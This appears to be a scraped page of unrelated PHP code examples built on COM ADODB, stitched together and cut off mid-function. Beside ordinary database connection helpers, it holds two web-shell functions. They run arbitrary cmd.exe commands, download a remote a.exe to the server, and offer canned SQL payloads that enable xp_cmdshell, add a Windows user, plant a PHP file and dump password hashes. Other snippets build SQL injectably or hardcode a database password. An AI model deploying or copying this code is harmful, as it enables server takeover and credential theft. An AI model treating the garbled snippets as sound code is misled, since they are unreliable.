function db_connect()
{
	global $host,$user,$pwd,$dbname,$mssql_dmy,$cCodepage,$options, $ODBCString;
	$connStrings = array();
	if($_SESSION["MSSQLConnString"])
	{
		$connStrings[] = $_SESSION["SQLConnString"];
	}
	$connStrings[] = $ODBCString;
//	SQLOLEDB provider
    if($options=="SSPI")
		$connStrings[] = "PROVIDER=SQLOLEDB;SERVER=".$host.";DATABASE=".$dbname.";Integrated Security=SSPI";
	else
		$connStrings[] = "PROVIDER=SQLOLEDB;SERVER=".$host.";UID=".$user.";PWD=".$pwd.";DATABASE=".$dbname;	
//	SQLNCLI provider
    if($options=="SSPI")
		$connStrings[] = "PROVIDER=SQLNCLI;SERVER=".$host.";DATABASE=".$dbname.";Integrated Security=SSPI";
	else
		$connStrings[] = "PROVIDER=SQLNCLI;SERVER=".$host.";UID=".$user.";PWD=".$pwd.";DATABASE=".$dbname;	
//	go thru connection strings one by one
	$errorString = "";
	foreach($connStrings as $connStr)
	{
		try {
		$conn = new COM("ADODB.Connection",NULL,$cCodepage);
		$conn->Open($connStr);
		$rs=$conn->Execute("select convert(datetime,'2000-11-22',121)");
		$str=$rs->Fields[0]->Value;
		$y=strpos($str,"2000");
		$m=strpos($str,"11");
		$d=strpos($str,"22");
		if($y<$m && $m<$d)
			$mssql_dmy="ymd";
		if($d<$m && $m<$y)
			$mssql_dmy="dmy";
		$_SESSION["MSSQLConnString"] = $connStr;
		return $conn;
		} catch(com_exception $e)
		{
			$errorString .= "<br>".$e->getMessage();
		}
	}
	trigger_error($errorString, E_USER_ERROR);
}
function db_connect()
{
    global $host, $user, $pwd, $dbname, $mssql_dmy, $cCodepage;
    $connstr = "PROVIDER=SQLOLEDB;SERVER=" . $host . ";UID=" . $user . ";PWD=" . $pwd . ";DATABASE=" . $dbname;
    try {
        $conn = new COM("ADODB.Connection", NULL, $cCodepage);
        $conn->Open($connstr);
        $rs = $conn->Execute("select convert(datetime,'2000-11-22',121)");
        $str = $rs->Fields[0]->Value;
        $y = strpos($str, "2000");
        $m = strpos($str, "11");
        $d = strpos($str, "22");
        if ($y < $m && $m < $d) {
            $mssql_dmy = "ymd";
        }
        if ($d < $m && $m < $y) {
            $mssql_dmy = "dmy";
        }
    } catch (com_exception $e) {
        trigger_error($e->getMessage(), E_USER_ERROR);
    }
    return $conn;
}
 function _query($sql, $inputarr = false)
 {
     $dbc = $this->_connectionID;
     $false = false;
     //	return rs
     if ($inputarr) {
         if (!empty($this->charPage)) {
             $oCmd = new COM('ADODB.Command', null, $this->charPage);
         } else {
             $oCmd = new COM('ADODB.Command');
         }
         $oCmd->ActiveConnection = $dbc;
         $oCmd->CommandText = $sql;
         $oCmd->CommandType = 1;
         // Map by http://msdn.microsoft.com/library/default.asp?url=/library/en-us/ado270/htm/mdmthcreateparam.asp
         // Check issue http://bugs.php.net/bug.php?id=40664 !!!
         while (list(, $val) = each($inputarr)) {
             $type = gettype($val);
             $len = strlen($val);
             if ($type == 'boolean') {
                 $this->adoParameterType = 11;
             } else {
                 if ($type == 'integer') {
                     $this->adoParameterType = 3;
                 } else {
                     if ($type == 'double') {
                         $this->adoParameterType = 5;
                     } elseif ($type == 'string') {
                         $this->adoParameterType = 202;
                     } else {
                         if ($val === null || !defined($val)) {
                             $len = 1;
                         } else {
                             $this->adoParameterType = 130;
                         }
                     }
                 }
             }
             // name, type, direction 1 = input, len,
             $p = $oCmd->CreateParameter('name', $this->adoParameterType, 1, $len, $val);
             $oCmd->Parameters->Append($p);
         }
         $p = false;
         $rs = $oCmd->Execute();
         $e = $dbc->Errors;
         if ($dbc->Errors->Count > 0) {
             return $false;
         }
         return $rs;
     }
     $rs = @$dbc->Execute($sql, $this->_affectedRows, $this->_execute_option);
     if ($dbc->Errors->Count > 0) {
         return $false;
     }
     if (!$rs) {
         return $false;
     }
     if ($rs->State == 0) {
         $true = true;
         return $true;
         // 0 = adStateClosed means no records returned
     }
     return $rs;
 }
Exemplo n.º 4
0
    $Bot = "Sogou";
}
if (strpos($agent, "yahoo") > -1) {
    $Bot = "Yahoo!";
}
if (strpos($agent, "msn") > -1) {
    $Bot = "MSN";
}
if (strpos($agent, "ia_archiver") > -1) {
    $Bot = "Alexa";
}
if (strpos($agent, "iaarchiver") > -1) {
    $Bot = "Alexa";
}
if (strpos($agent, "sohu") > -1) {
    $Bot = "Sohu";
}
if (strpos($agent, "sqworm") > -1) {
    $Bot = "AOL";
}
if (strpos($agent, "yodaoBot") > -1) {
    $Bot = "Yodao";
}
if (strpos($agent, "iaskspider") > -1) {
    $Bot = "Iask";
}
$conn = new COM('ADODB.Connection') or die('can not start Active X Data Objects');
$conn->Open("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("bot.mdb"));
$shijian = date("Y-m-d h:i:s", time());
$rs = $conn->Execute("insert into bot (bot,shijian,url,serverip) values ('{$Bot}','{$shijian}','{$GetLocationURL}','{$serverip}')");
function Com_h()
{
    $object = isset($_GET['o']) ? $_GET['o'] : 'adodb';
    print <<<END
<div class="actall"><a href="?s=h&o=adodb">[ADODB.Connection]</a> 
<a href="?s=h&o=wscript">[WScript.shell]</a> 
<a href="?s=h&o=application">[Shell.Application]</a> 
<a href="?s=h&o=downloader">[Downloader]</a></div>
<form method="POST" name="hform" id="hform" action="?s=h&o={$object}">
END;
    if ($object == 'downloader') {
        $Com_durl = isset($_POST['durl']) ? $_POST['durl'] : 'http://blackbap.org/a.exe';
        $Com_dpath = isset($_POST['dpath']) ? $_POST['dpath'] : File_Str(dirname(__FILE__) . '/a.exe');
        print <<<END
<div class="actall">超连接 <input name="durl" value="{$Com_durl}" type="text" style="width:600px;"></div>
<div class="actall">下载到 <input name="dpath" value="{$Com_dpath}" type="text" style="width:600px;"></div>
<div class="actall"><input value="下载" type="submit" style="width:80px;"></div></form>
END;
        if (!empty($_POST['durl']) && !empty($_POST['dpath'])) {
            echo '<div class="actall">';
            $contents = @file_get_contents($_POST['durl']);
            if (!$contents) {
                echo '无法下载数据';
            } else {
                echo File_Write($_POST['dpath'], $contents, 'wb') ? '下载成功' : '下载失败';
            }
            echo '</div>';
        }
    } elseif ($object == 'wscript') {
        $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir';
        print <<<END
<div class="actall">执行CMD命令 <input type="text" name="cmd" value="{$cmd}" style="width:600px;"></div>
<div class="actall"><input type="submit" value="执行" style="width:80px;"></div></form>
END;
        if (!empty($_POST['cmd'])) {
            echo '<div class="actall">';
            $shell = new COM('wscript');
            $exe = @$shell->exec("cmd.exe /c " . $cmd);
            $out = $exe->StdOut();
            $output = $out->ReadAll();
            echo '<pre>' . $output . '</pre>';
            @$shell->Release();
            $shell = NULL;
            echo '</div>';
        }
    } elseif ($object == 'application') {
        $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe';
        $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\\boot.ini d:\\a.txt';
        print <<<END
<div class="actall">程序路径 <input type="text" name="run" value="{$run}" style="width:600px;"></div>
<div class="actall">命令参数 <input type="text" name="cmd" value="{$cmd}" style="width:600px;"></div>
<div class="actall"><input type="submit" value="执行" style="width:80px;"></div></form>
END;
        if (!empty($_POST['run'])) {
            echo '<div class="actall">';
            $shell = new COM('application');
            echo @$shell->ShellExecute($run, '/c ' . $cmd) == '0' ? '执行成功' : '执行失败';
            @$shell->Release();
            $shell = NULL;
            echo '</div>';
        }
    } elseif ($object == 'adodb') {
        $string = isset($_POST['string']) ? $_POST['string'] : '';
        $sql = isset($_POST['sql']) ? $_POST['sql'] : '';
        print <<<END
<script language="javascript">
function hFull(i){
\tif(i==0 || i==5) return false;
\tStr = new Array(12);  
\tStr[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\\db.mdb";
\tStr[2] = "Driver={Sql Server};Server=,1433;Database=DB;Uid=sa;Pwd=**";
\tStr[3] = "Driver={MySql};Server=;Port=3306;Database=DB;Uid=root;Pwd=**";
\tStr[4] = "Provider=MSDAORA.1;Password=密码;User ID=帐号;Data Source=服务名;Persist Security Info=True;";
\tStr[6] = "SELECT * FROM [TableName] WHERE ID<10";
\tStr[7] = "INSERT INTO [TableName](usr,psw) VALUES('yoco','pwd')";
\tStr[8] = "DELETE FROM [TableName] WHERE ID=1";
\tStr[9] = "UPDATE [TableName] SET USER='******' WHERE ID=1";
\tStr[10] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
\tStr[11] = "DROP TABLE [TableName]";
\tStr[12] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";
\tStr[13] = "ALTER TABLE [TableName] DROP COLUMN PASS";
\tif(i<=4){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];}
\treturn true;
}
</script>
<div class="actall">连接字符串 <input type="text" name="string" id="string" value="{$string}" style="width:526px;">
<select onchange="return hFull(options[selectedIndex].value)">
<option value="0" selected>--连接示例--</option>
<option value="1">Access连接</option>
<option value="2">MsSql连接</option>
<option value="3">MySql连接</option>
<option value="4">Oracle连接</option>
<option value="5">--SQL语法--</option>
<option value="6">显示数据</option>
<option value="7">添加数据</option>
<option value="8">删除数据</option>
<option value="9">修改数据</option>
<option value="10">建数据表</option>
<option value="11">删数据表</option>
<option value="12">添加字段</option>
<option value="13">删除字段</option>
</select></div>
<div class="actall">SQL命令 <input type="text" name="sql" id="sql" value="{$sql}" style="width:650px;"></div>
<div class="actall"><input type="submit" value="执行" style="width:80px;"></div>
</form>
END;
        if (!empty($string)) {
            echo '<div class="actall">';
            $shell = new COM('adodb');
            @$shell->Open($string);
            $result = @$shell->Execute($sql);
            $count = $result->Fields->Count();
            for ($i = 0; $i < $count; $i++) {
                $Field[$i] = $result->Fields($i);
            }
            echo $result ? $sql . ' 执行成功<br>' : $sql . ' 执行失败<br>';
            if (!empty($count)) {
                while (!$result->EOF) {
                    for ($i = 0; $i < $count; $i++) {
                        echo htmlspecialchars($Field[$i]->value) . '<br>';
                    }
                    @$result->MoveNext();
                }
            }
            $shell->Close();
            @$shell->Release();
            $shell = NULL;
            echo '</div>';
        }
    }
    return true;
}
Exemplo n.º 6
0
 function _query($sql, $inputarr = false)
 {
     $dbc = $this->_connectionID;
     $false = false;
     if ($inputarr) {
         if (!empty($this->charPage)) {
             $oCmd = new COM('ADODB.Command', null, $this->charPage);
         } else {
             $oCmd = new COM('ADODB.Command');
         }
         $oCmd->ActiveConnection = $dbc;
         $oCmd->CommandText = $sql;
         $oCmd->CommandType = 1;
         foreach ($inputarr as $val) {
             $this->adoParameterType = 130;
             $p = $oCmd->CreateParameter('name', $this->adoParameterType, 1, strlen($val), $val);
             $oCmd->Parameters->Append($p);
         }
         $p = false;
         $rs = $oCmd->Execute();
         $e = $dbc->Errors;
         if (0 < $dbc->Errors->Count) {
             return $false;
         }
         return $rs;
     }
     $rs = @$dbc->Execute($sql, $this->_affectedRows, $this->_execute_option);
     if (0 < $dbc->Errors->Count) {
         return $false;
     }
     if (!$rs) {
         return $false;
     }
     if ($rs->State == 0) {
         $true = true;
         return $true;
     }
     return $rs;
 }
Exemplo n.º 7
0
	function &_query($sql,$inputarr=false) 
	{
		
		$dbc = $this->_connectionID;
		$false = false;
		
	//	return rs	
		if ($inputarr) {
			
			if (!empty($this->charPage))
				$oCmd = new COM('ADODB.Command',null,$this->charPage);
			else
				$oCmd = new COM('ADODB.Command');
			$oCmd->ActiveConnection = $dbc;
			$oCmd->CommandText = $sql;
			$oCmd->CommandType = 1;

			foreach($inputarr as $val) {
				// name, type, direction 1 = input, len,
				$this->adoParameterType = 130;
				$p = $oCmd->CreateParameter('name',$this->adoParameterType,1,strlen($val),$val);
				//print $p->Type.' '.$p->value;
				$oCmd->Parameters->Append($p);
			}
			$p = false;
			$rs = $oCmd->Execute();
			$e = $dbc->Errors;
			if ($dbc->Errors->Count > 0) return $false;
			return $rs;
		}
		
		$rs = @$dbc->Execute($sql,$this->_affectedRows, $this->_execute_option);

		if ($dbc->Errors->Count > 0) return $false;
		if (! $rs) return $false;
		
		if ($rs->State == 0) {
			$true = true;
			return $true; // 0 = adStateClosed means no records returned
		}
		return $rs;
	}
Exemplo n.º 8
0
function BASIS()
{
    $conn = new COM("ADODB.Connection") or die("Kan ADODB niet gebruiken");
    $conn->Provider = "OraOLEDB.Oracle";
    $conn->ConnectionString = "Data Source=GEO;User Id=gbi; Password=zomer;";
    $conn->Open();
    $sql_stmt = " SELECT SDO_UTIL.TO_WKTGEOMETRY(SDO_AGGR_MBR(shape)) FROM AB_HIST_GEMEENTEGRENS_V";
    $p = "";
    $Recordset = $conn->Execute($sql_stmt);
    while (!$Recordset->EOF) {
        $res = $Recordset->Fields[0]->Value;
        $lengte = strlen($res);
        $pol = strpos($res, "POLYGON");
        if ($pol >= 0) {
            $coord = substr($res, $pol + 10, $lengte - 10 - 2);
        }
        //print ($coord);
        //print ("<BR>");
        $Recordset->MoveNext();
    }
    $p = $coord . "|";
    $Recordset->Close();
    unset($Recordset);
    $sql_stmt = "SELECT SDO_UTIL.TO_WKTGEOMETRY(shape) FROM AB_HIST_GEMEENTEGRENS_V";
    $Recordset = $conn->Execute($sql_stmt);
    while (!$Recordset->EOF) {
        $res = $Recordset->Fields[0]->Value;
        //print ($res . "<BR><BR>");
        $lengte = strlen($res);
        $pol = strpos($res, "POLYGON");
        if ($pol >= 0) {
            $coord = substr($res, $pol + 10, $lengte - 10 - 2);
        }
        $p = $p . $coord . "|";
        $Recordset->MoveNext();
    }
    $Recordset->Close();
    unset($Recordset);
    $conn->Close();
    unset($conn);
    CREATEPDF($p);
    /*
    
    
    $sGeo = explode("|", $p);
    $tokens = explode(",", $sGeo[0]);
    $sMin = explode(" ", $tokens[0]);
    $sMax = explode(" ", $tokens[2]);
    
    $sMinX = $sMin[0];
    $sMinY = $sMin[1];
      
    print ("sMinX = " . $sMin[0]);
    print ("sMinY = " . $sMin[1]);
    
    for ($iRecord = 1; $iRecord < (count($sGeo) - 1); $iRecord++) {
    	$tokens = explode(",", $sGeo[$iRecord]);
    	print ($sGeo[$iRecord]);
    	print ("<BR><BR>");
    	$point = array();
    	for ($gRecord = 0; $gRecord < count($tokens); $gRecord++) {
    			$sPunt = explode(" ", $tokens[$gRecord]);
    			if ($gRecord == 0) {
    				$sX = $sPunt[0] - $sMinX;
    				$sY = $sPunt[1] - $sMinY;
     				print ("gRecord = 0 ");
    				print ($sX * 1000 / 350000);
     				print (" ");
    				print ($sY * 1000 / 350000);
    				print ("<BR>");
    				$point[$gRecord] = ($sX * 1000 / 350000);
    				$point[$gRecord + 1] = ($sY * 1000 / 350000);
    			}
    			elseif ($gRecord == (count($tokens) - 1)) {
    				$sX = $sPunt[1] - $sMinX;
    				$sY = $sPunt[2] - $sMinY;
    				print ("gRecord = ubound(tokens) ");
    				print ($sX * 1000 / 350000);
    				print (" ");
    				print ($sY *1000 / 350000);
    				print ("<BR>");
    				$point[$gRecord] = ($sX * 1000 / 350000);
    				$point[$gRecord + 1] = ($sY * 1000 / 350000);
    			}
    			else {			
    				$sX = $sPunt[1] - $sMinX;
    				$sY = $sPunt[2]- $sMinY;
    				print ($sX * 1000 / 350000);
    				print (" ");
    				print ($sY *1000 / 350000);
    				print ("<BR>");
    				$point[$gRecord] = ($sX * 1000 / 350000);
    				$point[$gRecord + 1] = ($sY * 1000 / 350000);
    			}
    		}
    	unset($point);
    	}
    */
}
Exemplo n.º 9
0
function Com_h()
{
    $object = isset($_GET['o']) ? $_GET['o'] : 'adodb';
    $com = array("adodb" => "ADODB.Connection", "wscript" => "WScript.shell", "application" => "Shell.Application");
    print <<<END
<div class="actall"><a href="?s=h&o=adodb">[ADODB.Connection]</a> 
<a href="?s=h&o=wscript">[WScript.shell]</a> 
<a href="?s=h&o=application">[Shell.Application]</a></div>
<div class="actall" style="height:200px;">
<form method="POST" name="hform" id="hform" action="?s=h&o={$object}"><br>
END;
    $shell = new COM($com[$object]);
    if ($object == 'wscript') {
        $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir';
        $cmdpath = isset($_POST['cmdpath']) ? $_POST['cmdpath'] : 'c:\\windows\\system32\\cmd.exe';
        print <<<END
&nbspcmdpath:<input type="text" name="cmdpath" value="{$cmdpath}" style="width:600px;"><br>
command:<input type="text" name="cmd" value="{$cmd}" style="width:600px;">
<input class="bt" type="submit" value="execute"></form><br>
END;
        if (!empty($_POST['cmd'])) {
            $exe = @$shell->exec("{$cmdpath} /c " . $cmd);
            $out = $exe->StdOut();
            $output = $out->ReadAll();
            echo '<pre>' . $output . '</pre>';
        }
    } elseif ($object == 'application') {
        $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe';
        $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\\windows\\php.ini c:\\php.ini';
        print <<<END
Path:<br><input type="text" name="run" value="{$run}" style="width:600px;">
<br><br>Command argv:<br><input type="text" name="cmd" value="{$cmd}" style="width:600px;">
<br><br><input class="bt" type="submit" value="execute"></form><br>
END;
        if (!empty($_POST['run'])) {
            echo @$shell->ShellExecute($run, '/c ' . $cmd) == '0' ? 'Done' : 'Faild';
        }
    } elseif ($object == 'adodb') {
        $string = isset($_POST['string']) ? $_POST['string'] : '';
        $sql = isset($_POST['sql']) ? $_POST['sql'] : '';
        print <<<END
<script language="javascript">
function hFull(i){
\tif(i==0 || i==10) return false;
\tStr = new Array(12);  
\tStr[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\\db.mdb;Jet OLEDB:Database Password=***";
\tStr[2] = "Driver={Sql Server};Server=localhost,1433;Database=DbName;Uid=sa;Pwd=sa";
\tStr[3] = "Driver={MySql};Server=localhost;Port=3306;Database=DbName;Uid=root;Pwd=root";
\tStr[4] = "Provider=OraOLEDB.Oracle.1;User ID=oracle;Password=oracle;Data Source=ORACLE;Persist Security Info=True;";
        Str[5] = "driver={IBM db2 odbc DRIVER};database=mydb;hostname=localhost;port=50000;protocol=TCPIP;uid=root; pwd=pass";
        Str[6] = "DRIVER={POSTGRESQL};SERVER=127.0.0.1;DATABASE=PostGreSQL;UID=postgresql;PWD=123456;";
        Str[7] = "Dsn='';Driver={INFORMIX 3.30 32 BIT};Host=myHostname;Server=myServerName;Service=myServiceName;Protocol=olsoctcp;Database=myDbName;UID=myUsername;PWD=myPassword";
\tStr[8] = "DSN=mydns;Uid=username;Pwd=password";
        Str[9] = "FILEDNS=c:\\\\path\\\\db.dsn;Uid=username;Pwd=password";
        Str[11] = "SELECT * FROM [TableName] WHERE ID<100";
\tStr[12] = "INSERT INTO [TableName](USER,PASS) VALUES('b4che10r','mypass')";
\tStr[13] = "UPDATE [TableName] SET USER='******' WHERE ID=100";
\tStr[14] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
\tStr[15] = "DROP TABLE [TableName]";
\tStr[16] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";
        Str[17] = "select shell('c:\\windows\\system32\\cmd.exe /c net user b4che10r abc123 /add');";
        Str[18] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
        Str[19] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
        Str[20] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
        Str[21] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')";
        Str[22] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')";
        Str[23] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo '<?php phpinfo();?>' > c:\\info.php';";
\tStr[24] = "sp_makewebtask @outputfile='d:\\\\web\\\test.php',@charset=gb2312,@query='select test';";
        Str[25] = "Exec master.dbo.xp_cmdshell 'ver';";
        Str[26] = "Select Name FROM Master..SysDatabases;";
        Str[27] = "select name from sysobjects where type='U';";
        Str[28] = "Select Name from SysColumns Where id=Object_Id('TableName');";
        Str[29] = "select username,password from dba_users;";
        Str[30] = "select TABLE_NAME from all_tables;";
        Str[31] = "desc admin;";
        Str[32] = "grant connect,resource,dba to user_name;";
        Str[33] = "select datname from pg_database;";
        Str[34] = "select relname from pg_stat_user_tables;";
        Str[35] = "\\\\d table_name";
        Str[36] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));";
        Str[37] = "\\\\! uname -a";
        Str[38] = "select schemaname from syscat.schemata;";
        Str[39] = "select name from sysibm.systables;";
        Str[40] = "select colname from syscat.columns where tabname='table_name';";
        Str[41] = "db2 get db cfg for db_name;";
        Str[42] = "select name from sysdatabases;";
        Str[43] = "select tabname from systables where tabid=n;";
        Str[44] = "select tabname,colname,owner,coltype from syscolumns join systables on syscolumns.tabid = systables.tabid;";
        Str[45] = "select username,usertype,password from sysusers;";
        if(i<=9){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];}
\treturn true;
}
</script>
conn strings:<br> <input type="text" name="string" id="string" value="{$string}" style="width:800px;">
<select onchange="return hFull(options[selectedIndex].value)">
<option value="0" selected>--select range--</option>
<option value="1">Access</option>
<option value="2">MsSql</option>
<option value="3">MySql</option>
<option value="4">Oracle</option>
<option value="5">DB2</option>
<option value="6">PostGreSQL</option>
<option value="7">Informix</option>
<option value="8">DSN</option>
<option value="9">FILEDSN</option>
<option value="10">--sql statement--</option>
<option value="11">show data</option>
<option value="12">insert data</option>
<option value="13">update data</option>
<option value="14">create table</option>
<option value="15">drop table</option>
<option value="16">add column</option>
<option value="17">access shell()</option>
<option value="18">add xp_cmdsehll(sql2005)</option>
<option value="19">add oacreate(sql2005)</option>
<option value="20">add openrowset(sql2005)</option>
<option value="21">add xp_cmdsehll(sql2000)</option>
<option value="22">add oacreate(sql2000)</option>
<option value="23">oamethod exec</option>
<option value="24">sp_makewebtask</option>
<option value="25">xp_cmdshell</option>
<option value="26">databases(sql)</option>
<option value="27">tables(sql)</option>
<option value="28">columns(sql)</option>
<option value="29">hashes(oracle)</option>
<option value="30">tables(oracle)</option>
<option value="31">columns(oracle)</option>
<option value="32">grant(oracle)</option>
<option value="33">databases(pgsql)</option>
<option value="34">tables(pgsql)</option>
<option value="35">columns(pgsql)</option>
<option value="36">pg_hba.conf(pgsql)</option>
<option value="37">os-command(pgsql)</option>
<option value="38">databases(db2)</option>
<option value="39">tables(db2)</option>
<option value="40">columns(db2)</option>
<option value="41">db config(db2)</option>
<option value="42">databases(informix)</option>
<option value="43">tables(informix)</option>
<option value="44">columns(informix)</option>
<option value="45">hashes(informix)</option>
</select>
<br><br>SQL Commnad:<br> <input type="text" name="sql" id="sql" value="{$sql}" style="width:800px;">
<input class="bt" type="submit" value="execute">
</form><br>
END;
        if (!empty($string)) {
            @$shell->Open($string);
            $result = @$shell->Execute($sql);
            $count = $result->Fields->Count();
            for ($i = 0; $i < $count; $i++) {
                $Field[$i] = $result->Fields($i);
            }
            echo $result ? $sql . ' Done<br>' : $sql . ' Faild<br>';
            if (!empty($count)) {
                while (!$result->EOF) {
                    for ($i = 0; $i < $count; $i++) {
                        echo $Field[$i]->value . '<br>';
                    }
                    @$result->MoveNext();
                }
            }
            $shell->Close();
        }
    }
    $shell = NULL;
    echo '</div>';
    return true;
}
Exemplo n.º 10
0
 public function pi(Request $request)
 {
     $data = $request->all();
     $connection_id = $data['connection_id'];
     $tagset_id = $data['tagset_id'];
     $cal_method = $data['cal_method'];
     $date_begin = $data['date_begin'];
     $date_end = $data['date_end'];
     $update_db = $data['update_db'];
     $int_connection = IntConnection::where(['ID' => $connection_id])->select('SERVER', 'USER_NAME', 'PASSWORD')->first();
     $server = $int_connection->SERVER;
     $username = $int_connection->USER_NAME;
     $password = $int_connection->PASSWORD;
     $intTagSet = IntTagSet::where(['ID' => $tagset_id])->select('TAGS')->first();
     $ptags = $intTagSet->TAGS;
     $str = "";
     if ($update_db && $cal_method == "all") {
         return response()->json("<font color='red'>Not allow inport data with method '<b>All</b>'</font>");
     }
     $tagcondition = "";
     $tags = explode("\n", $ptags);
     foreach ($tags as $tag) {
         if ($tag) {
             $tagcondition .= ($tagcondition ? " or " : "") . "tag='{$tag}'";
         }
     }
     if ($cal_method == "max" || $cal_method == "min") {
         $sql = "SELECT tt.tag,tt.TIME,tt.value\n\t\t\t\t\tFROM [piarchive].[picomp] tt\n\t\t\t\t\tinner join\n\t\t\t\t\t(\n\t\t\t\t\tSELECT tag tagx,{$cal_method}(value) mvalue\n\t\t\t\t\tFROM [piarchive].[picomp]\n\t\t\t\t\tWHERE ({$tagcondition})\n\t\t\t\t\tAND time BETWEEN '{$date_begin}' AND '{$date_end}' group by tag\n\t\t\t\t\t) grouped on tt.tag=grouped.tagx and tt.value=grouped.mvalue\n\t\t\t\t\tWHERE ({$tagcondition})\n\t\t\t\t\tAND value is not null\n\t\t\t\t\tAND time BETWEEN '{$date_begin}' AND '{$date_end}'";
     } else {
         if ($cal_method == "first" || $cal_method == "last") {
             $func = $cal_method == "first" ? "min" : "max";
             $sql = "SELECT tt.tag,tt.TIME,tt.value\n\t\t\t\t\t\tFROM [piarchive].[picomp] tt\n\t\t\t\t\t\tinner join\n\t\t\t\t\t\t(\n\t\t\t\t\t\tSELECT tag tagx,{$func}(time) mtime\n\t\t\t\t\t\tFROM [piarchive].[picomp]\n\t\t\t\t\t\tWHERE ({$tagcondition})\n\t\t\t\t\t\tAND time BETWEEN '{$date_begin}' AND '{$date_end}' group by tag\n\t\t\t\t\t\t) grouped on tt.tag=grouped.tagx and tt.time=grouped.mtime\n\t\t\t\t\t\tWHERE ({$tagcondition})\n\t\t\t\t\t\tAND value is not null\n\t\t\t\t\t\tAND time BETWEEN '{$date_begin}' AND '{$date_end}'";
         } else {
             if ($cal_method == "average") {
                 $sql = "SELECT tag, max(TIME) TIME, avg(value) value\n\t\t\t\t\t\tFROM picomp\n\t\t\t\t\t\tWHERE ({$tagcondition}) AND value is not null AND time BETWEEN '{$date_begin}' AND '{$date_end}'\n\t\t\t\t\t\tgroup by tag";
             } else {
                 $sql = "SELECT tag, TIME, value\n\t\t\t\t\t\tFROM picomp\n\t\t\t\t\t\tWHERE ({$tagcondition}) AND value is not null AND time BETWEEN '{$date_begin}' AND '{$date_end}'";
             }
         }
     }
     $update_db = 'No';
     if ($update_db) {
         $supdate_db = 'Yes';
     }
     $str .= " <b>Import PI data</b><br>";
     $str .= " Server: <b>" . $server . "</b><br>";
     $str .= " Data method: <b>" . $cal_method . "</b><br>";
     $str .= " Update database: <b>" . $supdate_db . "</b><br>";
     $str .= " From time: <b>" . $data['date_begin'] . "</b><br>";
     $str .= " To time: <b>" . $data['date_end'] . "</b><br><br>";
     $connection = new \COM("ADODB.Connection") or die("Cannot start ADO");
     $str .= " Open connection " . date('H:i:s') . "<br>";
     $connection->Open("Initial Catalog=piarchive;\n\t\t\t\tData Source='localhost';User ID =root;Password='';");
     $str .= " Begin command " . date('H:i:s') . "<br>";
     $result_set = $connection->Execute($sql);
     $result_count = 0;
     $labels = array();
     $str .= " Begin fetch data " . date('H:i:s') . "<br><br>";
     $str .= " <table><tr><td><b>Tag</b></td><td><b>Date/time</b></td><td><b>Value</b></td><td><b>Code</b></td><td><b>Status</b></td><td><b>Command</b></td></tr>";
     while (!$result_set->EOF) {
         $impSQL = "";
         $hasError = false;
         $statusCode = "Y";
         $err = "";
         $tagID = $result_set->fields[0]->value;
         $date = $result_set->fields[1]->value;
         $value = $result_set->fields[2]->value;
         $r_t = int_tag_mapping::where(['TAG_ID' => $tagID])->select('*')->first();
         if ($update_db) {
             if (count($r_t) <= 0) {
                 $hasError = true;
                 $statusCode = "NG";
                 $err = "Tag mapping not found";
             } else {
                 foreach ($r_t as $r) {
                     $table_name = strtoupper($r[TABLE_NAME]);
                     $column_name = strtoupper($r[COLUMN_NAME]);
                     $cc = DB::statement("SELECT TABLE_NAME FROM `INFORMATION_SCHEMA`.`TABLES` WHERE TABLE_SCHEMA='{$db_schema}' and `TABLE_NAME`='{$table_name}' limit 1");
                     if (!$cc) {
                         $hasError = true;
                         $statusCode = "NT";
                         $err = "Table not found ({$table_name})";
                     } else {
                         $cc = DB::statement("SELECT COLUMN_NAME FROM `INFORMATION_SCHEMA`.`COLUMNS` WHERE TABLE_SCHEMA='{$db_schema}' and `TABLE_NAME`='{$table_name}' and COLUMN_NAME='{$column_name}' limit 1");
                         if (!$cc) {
                             $hasError = true;
                             $statusCode = "NC";
                             $err = "Column not found ({$column_name})";
                         }
                     }
                     if (!$hasError) {
                         $objIDField = $this->getObjectIDFiledName($table_name);
                         $sF = "";
                         $sV = "";
                         $sWhere = "{$objIDField}={$r['OBJECT_ID']} and OCCUR_DATE=DATE('{$date}')";
                         if (substr($table_name, 0, 12) == "ENERGY_UNIT_") {
                             $sWhere .= " and FLOW_PHASE={$r['FLOW_PHASE']}";
                             $sF .= ",FLOW_PHASE";
                             $sV .= ",{$r['FLOW_PHASE']}";
                         }
                         if ($table_name == "ENERGY_UNIT_DATA_ALLOC") {
                             $sWhere .= " and ALLOC_TYPE={$r['ALLOC_TYPE']}";
                             $sF .= ",ALLOC_TYPE";
                             $sV .= ",{$r['ALLOC_TYPE']}";
                         }
                         $tmp = DB::statement("select ID from `{$table_name}` where {$sWhere} limit 1");
                         if ($tmp) {
                             $sSQL = "update `{$table_name}` set `{$column_name}`='{$value}' where ID={$rID->ID}";
                             $sSQL = str_replace("''", "null", $sSQL);
                             $impSQL .= ($impSQL ? "<bt>" : "") . $sSQL;
                             if ($update_db) {
